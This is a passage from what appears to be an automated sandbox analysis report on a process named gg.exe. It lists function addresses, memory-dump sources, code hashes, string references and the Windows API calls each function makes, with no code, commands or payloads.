Opcode Fuzzy Hash: 6556436d0e6ac045e4fc01b8ae75a9cb6417e7bda75abec91cf902bd17eb718e
Instruction Fuzzy Hash: 371149B6800249DFDB10CF99D844BEEBFF4EF48320F158419E658A7210C379A550DFA5

Uniqueness

Uniqueness Score: -1.00%

Function 06CBCD28 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.1916241365.0000000006CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_6cb0000_gg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 97fc8613d60f332f6137c801a55be0633cf77bc35534e74bd39d1980836a589b
Instruction ID: 71b4a6bdc4f6514b9812fe4312b5da336615cb24398cc353e53ecc8d44e9aa30
Opcode Fuzzy Hash: 97fc8613d60f332f6137c801a55be0633cf77bc35534e74bd39d1980836a589b
Instruction Fuzzy Hash: 691134B6800249DFDB10CFA9D845BEEBFF4EF48324F148419E558A7211C379A954DFA1

Uniqueness

Uniqueness Score: -1.00%

Function 02F8D655 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.1904054196.0000000002F8D000.00000040.00000800.00020000.00000000.sdmp, Offset: 02F8D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2f8d000_gg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b09af1b8dd9cdc9f375ee0454f9864774603bab26bb3abaed061a7e7d7c7a7fe
Instruction ID: 67e6a45b4fde53cb2a0489ae48aac44153998bd8effdd96abe79736d8c6edb2a
Opcode Fuzzy Hash: b09af1b8dd9cdc9f375ee0454f9864774603bab26bb3abaed061a7e7d7c7a7fe
Instruction Fuzzy Hash: 4401AC7150534899E7106A35CD84757FF98EF41364F18C519EE0D4A2D5C779D440CE71

Uniqueness

Uniqueness Score: -1.00%

Function 02F8D654 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.1904054196.0000000002F8D000.00000040.00000800.00020000.00000000.sdmp, Offset: 02F8D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2f8d000_gg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bac68bfc15615988ffc3e7b0ec033cf4b1312ffbd272a3cbffaf5509c0a29f40
Instruction ID: 74d6e123ababd974d829531fd071971b19de4d4aca1d1c9a9090349d3b9419f6
Opcode Fuzzy Hash: bac68bfc15615988ffc3e7b0ec033cf4b1312ffbd272a3cbffaf5509c0a29f40
Instruction Fuzzy Hash: 32F0C2714053449AE7109E16CDC4B66FFA8EF40364F18C45AED0C0A286C3799840CEB1

Uniqueness

Uniqueness Score: -1.00%

Function 06CBCAF0 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.1916241365.0000000006CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_6cb0000_gg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4d4285ea7efd8edd4aee381bde1c94650c2766b2cb649978292e360f51c19e5f
Instruction ID: 5ef9b11f54eb9d6d355c2ad6143bc5b126ae1dd073a136788bd548174ea4a519
Opcode Fuzzy Hash: 4d4285ea7efd8edd4aee381bde1c94650c2766b2cb649978292e360f51c19e5f
Instruction Fuzzy Hash: CBF082367002196F8B05AE989C559BF7FABEBC8260B01442DFA09D3350DF36892197A9

Uniqueness

Uniqueness Score: -1.00%

Function 06CBC159 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.1916241365.0000000006CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_6cb0000_gg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d0791c767029be45c55f8189540845a12005135502df779635fc4c469961602e
Instruction ID: ff89e252326c3ffea3fd89ec0905cb57a81c03ae47265d077917f849a69373aa
Opcode Fuzzy Hash: d0791c767029be45c55f8189540845a12005135502df779635fc4c469961602e
Instruction Fuzzy Hash: 42E06D71A86248AFC701DFB8E504AADBBB1FB92308F2156EDD449D3251DB748E04DB51

Uniqueness

Uniqueness Score: -1.00%

Function 06CBC168 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.1916241365.0000000006CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_6cb0000_gg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1721098e1a59fb9d3c5eefd8e06639136587cfd5bc757fc4c526085e4b22949b
Instruction ID: ab457e2e8c7e49218ec77d69cbbc37e7f1763883ec6d0acd2a43845afb3fec88
Opcode Fuzzy Hash: 1721098e1a59fb9d3c5eefd8e06639136587cfd5bc757fc4c526085e4b22949b
Instruction Fuzzy Hash: D9E04670A81209EFC740EFB8E904AADBBB9EB81344F1156A8D408A3250DB309E04DB95

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 096A64D8 Relevance: .3, Instructions: 283COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.1919808343.00000000096A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 096A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_96a0000_gg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e2f8fd07721d1b96857cf5446e34989a6ee6b4ef4ccb9c19f0435430ccb9c808
Instruction ID: 3f6d62b6f6ded56146d96454d5e131ec2c42152b87eb828107b91339b9b895d9
Opcode Fuzzy Hash: e2f8fd07721d1b96857cf5446e34989a6ee6b4ef4ccb9c19f0435430ccb9c808
Instruction Fuzzy Hash: 2DD1D274E01218CFDB54DFA9D890A9DBBB2FF89300F2085AAD419AB365DB305D82CF51

Uniqueness

Uniqueness Score: -1.00%

Function 096A64E8 Relevance: .3, Instructions: 257COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.1919808343.00000000096A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 096A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_96a0000_gg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 336606ce6f8b373e74ef8e797c08aee52b04a82be2c645251d4b9b5b0fe0ada5
Instruction ID: b8e4c74801bccea51919d3f23561e00ed77f76237873231650e4d9e3a2a8cc01
Opcode Fuzzy Hash: 336606ce6f8b373e74ef8e797c08aee52b04a82be2c645251d4b9b5b0fe0ada5
Instruction Fuzzy Hash: 3BC1AF74E01218CFDB54DFA9D890A9DBBB2FF89300F2085AAD419AB355DB345D82CF51

Uniqueness

Uniqueness Score: -1.00%

Function 096A7F3F Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.1919808343.00000000096A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 096A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_96a0000_gg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6952ad8cf5361ce57c1780110d4ad0ad179eb274fe5ffea1ba4d5e6b9f52d317
Instruction ID: 411e715db8f45b657677e0f0976468e510c14db431f41c40f3ce79e28c715815
Opcode Fuzzy Hash: 6952ad8cf5361ce57c1780110d4ad0ad179eb274fe5ffea1ba4d5e6b9f52d317
Instruction Fuzzy Hash: 36E01A30D4A11EDAEB14CF92D015BBFF6B06B4534AF609445940973280DF704F468F66

Uniqueness

Uniqueness Score: -1.00%

Function 06CB5A5A Relevance: 9.2, Strings: 7, Instructions: 466COMMON

Download Yara Rule

Strings

$^q, xrefs: 06CB5BEF
(_^q, xrefs: 06CB5CA1
(_^q, xrefs: 06CB5CBB
$^q, xrefs: 06CB5B99
$^q, xrefs: 06CB5D8F
$^q, xrefs: 06CB5B43
$^q, xrefs: 06CB5F23

Memory Dump Source

Source File: 0000000F.00000002.1916241365.0000000006CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_6cb0000_gg.jbxd

Similarity

API ID:
String ID: (_^q$(_^q$$^q$$^q$$^q$$^q$$^q
API String ID: 0-2667574237
Opcode ID: 0e3dc75542810211d3d9134a727f159261ca1ffb88ecab2a7f3b7d9680331294
Instruction ID: 7048c7f89ba52af255fa9ed308b3444c03d684e0252d218edea15a5dcf123012
Opcode Fuzzy Hash: 0e3dc75542810211d3d9134a727f159261ca1ffb88ecab2a7f3b7d9680331294
Instruction Fuzzy Hash: B7225670A00208DFDB05EFA8E850A9DBBB6FF85340F1095A9D105AB364DB39AD49CF51

Uniqueness

Uniqueness Score: -1.00%

Function 06CB5A68 Relevance: 9.2, Strings: 7, Instructions: 464COMMON

Download Yara Rule

Strings

$^q, xrefs: 06CB5BEF
(_^q, xrefs: 06CB5CA1
(_^q, xrefs: 06CB5CBB
$^q, xrefs: 06CB5B99
$^q, xrefs: 06CB5D8F
$^q, xrefs: 06CB5B43
$^q, xrefs: 06CB5F23

Memory Dump Source

Source File: 0000000F.00000002.1916241365.0000000006CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_6cb0000_gg.jbxd

Similarity

API ID:
String ID: (_^q$(_^q$$^q$$^q$$^q$$^q$$^q
API String ID: 0-2667574237
Opcode ID: 80abefee382b63d2be5981142f2815b4772638209d80376abc50b7ae70efb187
Instruction ID: d563e21109644e735ac8377674c2162857808a9a1708e2c8fa61fd66dc8842ea
Opcode Fuzzy Hash: 80abefee382b63d2be5981142f2815b4772638209d80376abc50b7ae70efb187
Instruction Fuzzy Hash: CA225670A00208DFDB05EFA8E850A9EBBB6FF84340F1095A9D105AB364DB39AD49CF51

Uniqueness

Uniqueness Score: -1.00%

Function 06CB5279 Relevance: 6.5, Strings: 5, Instructions: 274COMMON

Download Yara Rule

Strings

(_^q, xrefs: 06CB5367
$^q, xrefs: 06CB52F6
$^q, xrefs: 06CB559C
$^q, xrefs: 06CB53D3
(_^q, xrefs: 06CB534D

Memory Dump Source

Source File: 0000000F.00000002.1916241365.0000000006CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_6cb0000_gg.jbxd

Similarity

API ID:
String ID: (_^q$(_^q$$^q$$^q$$^q
API String ID: 0-142850551
Opcode ID: 8defa43baacd24a520a2f358b7a812c221fb31de4b4407ba76f58e6b6fe960ac
Instruction ID: dc6ef1c88169ecad3e7d323c644e6ebffdf5faeda91022135545208e9589b944
Opcode Fuzzy Hash: 8defa43baacd24a520a2f358b7a812c221fb31de4b4407ba76f58e6b6fe960ac
Instruction Fuzzy Hash: 43C1F970E40208DFDB05EFA8E954A9DBBB6FF88304F1084A9D1156B3A4DB79AD45CF60

Uniqueness

Uniqueness Score: -1.00%

Function 06CB5288 Relevance: 6.5, Strings: 5, Instructions: 273COMMON

Download Yara Rule

Strings

(_^q, xrefs: 06CB5367
$^q, xrefs: 06CB52F6
$^q, xrefs: 06CB559C
$^q, xrefs: 06CB53D3
(_^q, xrefs: 06CB534D

Memory Dump Source

Source File: 0000000F.00000002.1916241365.0000000006CB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_6cb0000_gg.jbxd

Similarity

API ID:
String ID: (_^q$(_^q$$^q$$^q$$^q
API String ID: 0-142850551
Opcode ID: 2fef98d959335ecbc1c89929cbd1573f37fdebcecf63144df71724a25fdec47f
Instruction ID: 4f1a606e3d40630128c0066b308c0948cc6430e8f5039c1aeb6aa8ee8a0a0052
Opcode Fuzzy Hash: 2fef98d959335ecbc1c89929cbd1573f37fdebcecf63144df71724a25fdec47f
Instruction Fuzzy Hash: 91C1F870E40208DFDB05EFA8E954A9DBBB6FF88304F108469D115AB3A4DB79AD45CF60

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: gg.exePID: 8008, Parent PID: 7928COMMON

Execution Graph

Execution Coverage:	18.8%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	2.3%
Total number of Nodes:	173
Total number of Limit Nodes:	20

Executed Functions

Function 0617D648 Relevance: 6.4, APIs: 1, Strings: 2, Instructions: 1103
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 0617DFE4

Strings

{-, xrefs: 0617D738, 0617D73D
s5, xrefs: 0617DD1A, 0617DD1F

Memory Dump Source

Source File: 00000012.00000002.1891492373.0000000006170000.00000040.00000800.00020000.00000000.sdmp, Offset: 06170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_6170000_gg.jbxd

Similarity

API ID: InitializeThunk
String ID: s5${-
API String ID: 2994545307-4129478044
Opcode ID: 5ff7b58235851f492c89f6ca6093146879c497634dcc24ef5fab4b154ce6ecba
Instruction ID: c63f4364c29cda0585a072ddf5ea1081d4f511473532136caa8ac63875fda380
Opcode Fuzzy Hash: 5ff7b58235851f492c89f6ca6093146879c497634dcc24ef5fab4b154ce6ecba
Instruction Fuzzy Hash: FAC28E74A012299FCBA4DF28D998B9DB7B2BB49304F1085EAD40DA7354DB31AE85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 061D0CF0 Relevance: 21.9, Strings: 17, Instructions: 618
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$^q, xrefs: 061D13BD
$^q, xrefs: 061D0D6C
$^q, xrefs: 061D0DEE
$^q, xrefs: 061D0EF0
$^q, xrefs: 061D13C9
$^q, xrefs: 061D0F16
$^q, xrefs: 061D1353
$^q, xrefs: 061D0DBC
$^q, xrefs: 061D12E3
$^q, xrefs: 061D1308
$^q, xrefs: 061D1314
$^q, xrefs: 061D1398
$^q, xrefs: 061D0F22
$^q, xrefs: 061D129E
t, xrefs: 061D1032
$^q, xrefs: 061D0EA0
$^q, xrefs: 061D0DE2

Memory Dump Source

Source File: 00000012.00000002.1891558373.00000000061D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_61d0000_gg.jbxd

Similarity

API ID:
String ID: t$$^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q
API String ID: 0-817483638
Opcode ID: 3bb4a3ebe494f6ad6597d73159c2345ed536e91161447ce0290c583fee377995
Instruction ID: 00c845468f4a99f067fcbdd1e44428332b5e305660b11539ab8f31d4b97f06eb
Opcode Fuzzy Hash: 3bb4a3ebe494f6ad6597d73159c2345ed536e91161447ce0290c583fee377995
Instruction Fuzzy Hash: 8A22A030B04244AFDB489F69C894A6E7BF6BF89310F248859E506CB3A6DF75DC41CB91

Uniqueness

Uniqueness Score: -1.00%

Function 061D14EA Relevance: 7.8, Strings: 6, Instructions: 333
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$^q, xrefs: 061D184B
$^q, xrefs: 061D19BF
$^q, xrefs: 061D1796
$^q, xrefs: 061D19E4
$^q, xrefs: 061D197A
$^q, xrefs: 061D19F0

Memory Dump Source

Source File: 00000012.00000002.1891558373.00000000061D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_61d0000_gg.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q$$^q$$^q
API String ID: 0-2392861976
Opcode ID: 934c0e9af19e468050f260d378e7e10a842848c917af62aff9424f1779b1e829
Instruction ID: 71ad867de5f419c88d79e4ea3783d06f41417226ee8167a93a256d8f651ecab0
Opcode Fuzzy Hash: 934c0e9af19e468050f260d378e7e10a842848c917af62aff9424f1779b1e829
Instruction Fuzzy Hash: 67C1E130B80304AFDB589B78C895A6E77E6EF89704F108869E5038B7A6CF75DC46C791

Uniqueness

Uniqueness Score: -1.00%

Function 0142D0A8 Relevance: 6.1, APIs: 4, Instructions: 131
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 0142D136
GetCurrentThread.KERNEL32 ref: 0142D173
GetCurrentProcess.KERNEL32 ref: 0142D1B0
GetCurrentThreadId.KERNEL32 ref: 0142D209

Memory Dump Source

Source File: 00000012.00000002.1885168339.0000000001420000.00000040.00000800.00020000.00000000.sdmp, Offset: 01420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_1420000_gg.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 558b7d923f82e94345a74d9fc0dbb0d4f6346f2b0659963e10bed73f241e6b36
Instruction ID: 5eb9285cfa59d0d5017b64f2ec7cf29445a4e24ffda6ae0b311585ec63faee56
Opcode Fuzzy Hash: 558b7d923f82e94345a74d9fc0dbb0d4f6346f2b0659963e10bed73f241e6b36
Instruction Fuzzy Hash: 4F5136B0D00249CFDB14CFA9D548BAEBBF1EF88314F24845AD159A73A0D7349984CB65

Uniqueness

Uniqueness Score: -1.00%

Function 0142D0B8 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 0142D136
GetCurrentThread.KERNEL32 ref: 0142D173
GetCurrentProcess.KERNEL32 ref: 0142D1B0
GetCurrentThreadId.KERNEL32 ref: 0142D209

Memory Dump Source

Source File: 00000012.00000002.1885168339.0000000001420000.00000040.00000800.00020000.00000000.sdmp, Offset: 01420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_1420000_gg.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 6fd55ce77f8e3cc6ff3dfa2a4e7c404ccda3632a025dfd2e62c25c36b2b1817e
Instruction ID: 5503eeb114b562b468e806aa079109ef29e81b81f6dc1f85edc0b68c6f3bad7f
Opcode Fuzzy Hash: 6fd55ce77f8e3cc6ff3dfa2a4e7c404ccda3632a025dfd2e62c25c36b2b1817e
Instruction Fuzzy Hash: E25145B0D002498FDB14DFAAD548BAEBBF1EF48314F20845AE119A73A0D7349984CF65

Uniqueness

Uniqueness Score: -1.00%

Function 0142AE30 Relevance: 1.7, APIs: 1, Instructions: 196
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 0142B086

Memory Dump Source

Source File: 00000012.00000002.1885168339.0000000001420000.00000040.00000800.00020000.00000000.sdmp, Offset: 01420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_1420000_gg.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 662fcc04a56384d891f88039ef6f5f97ac8eb1aac42d562328051f7d060c8ff6
Instruction ID: e48d9eac4075b3fd7864195cd76dd65675cbb9afca017e03b91169c77ff40d07
Opcode Fuzzy Hash: 662fcc04a56384d891f88039ef6f5f97ac8eb1aac42d562328051f7d060c8ff6
Instruction Fuzzy Hash: C67135B0A00B158FD724DF29D05475ABBF1FF88204F54892ED986D7B60D778E88ACB90

Uniqueness

Uniqueness Score: -1.00%

Function 061775D0 Relevance: 1.6, APIs: 1, Instructions: 123COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 06177718

Memory Dump Source

Source File: 00000012.00000002.1891492373.0000000006170000.00000040.00000800.00020000.00000000.sdmp, Offset: 06170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_6170000_gg.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 52433b0ef8f5f3aacaa05f0c3edaf304c2ff834928307c518a9aff770025f82c
Instruction ID: ad5f007194b7a77b5de24e16748f9cfc50841e8f59a206c441e0261c46ced03e
Opcode Fuzzy Hash: 52433b0ef8f5f3aacaa05f0c3edaf304c2ff834928307c518a9aff770025f82c
Instruction Fuzzy Hash: 0D5194B4E0120DDFDB48DFA9D5946EDBBB2FB88300F10952AE415AB358EB345946CF41

Uniqueness

Uniqueness Score: -1.00%

Function 061775C3 Relevance: 1.6, APIs: 1, Instructions: 122COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 06177718

Memory Dump Source

Source File: 00000012.00000002.1891492373.0000000006170000.00000040.00000800.00020000.00000000.sdmp, Offset: 06170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_6170000_gg.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 0282e940f6e9a96543b03948afe492d93bc68ba305b51509895443308d4df72e
Instruction ID: e2a7f3b5cbf8c1cb746a5a95ab5f57367caf64c8d2280e0659f68db35b002d28
Opcode Fuzzy Hash: 0282e940f6e9a96543b03948afe492d93bc68ba305b51509895443308d4df72e
Instruction Fuzzy Hash: 3251C7B4E0120D9FDB48EFA9D5946DDBBB2FF88300F109529D415AB354EB345946CF41

Uniqueness

Uniqueness Score: -1.00%

Function 01425935 Relevance: 1.6, APIs: 1, Instructions: 99COMMON

Download Yara Rule

APIs

CreateActCtxA.KERNEL32(?), ref: 014259F1

Memory Dump Source

Source File: 00000012.00000002.1885168339.0000000001420000.00000040.00000800.00020000.00000000.sdmp, Offset: 01420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_1420000_gg.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 9f86b0b92fb9bd8ee9af574495e596e34dbdb13fc862557050d0798faf3748d5
Instruction ID: 479b37d5df5862222d87ba80554f1da8f017ac5fb93dcc58559129e6b156948f
Opcode Fuzzy Hash: 9f86b0b92fb9bd8ee9af574495e596e34dbdb13fc862557050d0798faf3748d5
Instruction Fuzzy Hash: 9941E2B0D00729CEDB24CFA9C8857DEBBB5FF45304F24809AD409AB261DB756986CF91

Uniqueness

Uniqueness Score: -1.00%

Function 01424248 Relevance: 1.6, APIs: 1, Instructions: 96COMMON

Download Yara Rule

APIs

CreateActCtxA.KERNEL32(?), ref: 014259F1

Memory Dump Source

Source File: 00000012.00000002.1885168339.0000000001420000.00000040.00000800.00020000.00000000.sdmp, Offset: 01420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_1420000_gg.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 8de0e8a4b146418ba468fe59d297947a4c6b1a21371033e491eb4b869b27f4c0
Instruction ID: 8b615e1082391f33ff29ada79ee01230cd71bb54a6a58afa5b95aa9a4c9014b4
Opcode Fuzzy Hash: 8de0e8a4b146418ba468fe59d297947a4c6b1a21371033e491eb4b869b27f4c0
Instruction Fuzzy Hash: FA41D2B0D00729CADB24CFA9C844BDEBBB5FF45304F24815AD409AB265DB756985CF90

Uniqueness

Uniqueness Score: -1.00%

Function 06177642 Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 06177718

Memory Dump Source

Source File: 00000012.00000002.1891492373.0000000006170000.00000040.00000800.00020000.00000000.sdmp, Offset: 06170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_6170000_gg.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 2b3c6a43530151e017539d79d8a9f04c9ba341868f07ef84aefac1b82ad2dcd8
Instruction ID: 8460c81e607f9dc32bcaa8dc1f525f12fc6aa867403c185b010b6bf705a63fc7
Opcode Fuzzy Hash: 2b3c6a43530151e017539d79d8a9f04c9ba341868f07ef84aefac1b82ad2dcd8
Instruction Fuzzy Hash: 9A3174B4E0020D9FCB44EFA8D5A4ADDBBB2FF48300F20952AD416AB358EB355946DF51

Uniqueness

Uniqueness Score: -1.00%

Function 071A9DBB Relevance: 1.6, APIs: 1, Instructions: 76windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 071A9D85

Memory Dump Source

Source File: 00000012.00000002.1893839232.00000000071A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_71a0000_gg.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: aad854c18051943848c682f1f28d88744c1df53eb8385a02d672438035f2952d
Instruction ID: 7bedac3c96d14b059d44074c7208f92d016d860b2a3fd3f113de56da49800767
Opcode Fuzzy Hash: aad854c18051943848c682f1f28d88744c1df53eb8385a02d672438035f2952d
Instruction Fuzzy Hash: 7F21ADFA9042199FDB11CFA5D549BEEBFF4AF48310F14845AD444B7291C735A984CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 0142D300 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 0142D387

Memory Dump Source

Source File: 00000012.00000002.1885168339.0000000001420000.00000040.00000800.00020000.00000000.sdmp, Offset: 01420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_1420000_gg.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 0ca78febee10623f08c41eb23c0b0b10c442a7700412f5f3b8ed74a075421d56
Instruction ID: 8dffec92c90283727f25f09d509179a885957364f113e036d5afe60586261cdc
Opcode Fuzzy Hash: 0ca78febee10623f08c41eb23c0b0b10c442a7700412f5f3b8ed74a075421d56
Instruction Fuzzy Hash: 5821B3B59002589FDB10CF9AD584ADEBBF4EB48310F14841AE958A7350D378A954CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0142D2F9 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 0142D387

Memory Dump Source

Source File: 00000012.00000002.1885168339.0000000001420000.00000040.00000800.00020000.00000000.sdmp, Offset: 01420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_1420000_gg.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: ec31e9eeb57b7d5e4b2a086988bbfe57e91e401fe410a5dab2c84571e12d7e06
Instruction ID: 43b47b40cc0fa3af954fd574423f94b48f730c680c72b0c30d468305b6f7d869
Opcode Fuzzy Hash: ec31e9eeb57b7d5e4b2a086988bbfe57e91e401fe410a5dab2c84571e12d7e06
Instruction Fuzzy Hash: 6121E2B5D00258DFDB10CFAAD584ADEBBF5EB48310F14842AE918B3360D378A954CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 061777A0 Relevance: 1.6, APIs: 1, Instructions: 60libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 06177805

Memory Dump Source

Source File: 00000012.00000002.1891492373.0000000006170000.00000040.00000800.00020000.00000000.sdmp, Offset: 06170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_6170000_gg.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 3470408918df05949c395ed5433e8a236551ee36e6614f6476587f1b456e28f4
Instruction ID: 3311933e2b1d30a4ba82e1df71501fda179d23bedb7e608823a2b22d2eb69c74
Opcode Fuzzy Hash: 3470408918df05949c395ed5433e8a236551ee36e6614f6476587f1b456e28f4
Instruction Fuzzy Hash: 98219074E052199FCB48DFAAE484ADDBBF6FB89320F10942AE415B7360DB305841CF54

Uniqueness

Uniqueness Score: -1.00%

Function 061773E8 Relevance: 1.6, APIs: 1, Instructions: 57COMMON

Download Yara Rule

APIs

GetKeyboardLayout.USER32(00000000), ref: 0617745E

Memory Dump Source

Source File: 00000012.00000002.1891492373.0000000006170000.00000040.00000800.00020000.00000000.sdmp, Offset: 06170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_6170000_gg.jbxd

Similarity

API ID: KeyboardLayout
String ID:
API String ID: 194098044-0
Opcode ID: 888b6d9fceabc5ec55f5967b3667179068b0995bad0043ef8b033994d9ddbfab
Instruction ID: 10f1cc66c51ce379ebfb0ccfc5b61c99d0211078ed042a151f414292b0f83f31
Opcode Fuzzy Hash: 888b6d9fceabc5ec55f5967b3667179068b0995bad0043ef8b033994d9ddbfab
Instruction Fuzzy Hash: 451189B0D003899FCB20EFA9C8046DEFFF4EB59354F14845AC455A7250C739A884CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0142A870 Relevance: 1.6, APIs: 1, Instructions: 55libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,0142B101,00000800,00000000,00000000), ref: 0142B312

Memory Dump Source

Source File: 00000012.00000002.1885168339.0000000001420000.00000040.00000800.00020000.00000000.sdmp, Offset: 01420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_1420000_gg.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 19540eb8c66b63a991f69d5b78d61e8c21172c46df54ff086dcb049edba07cf1
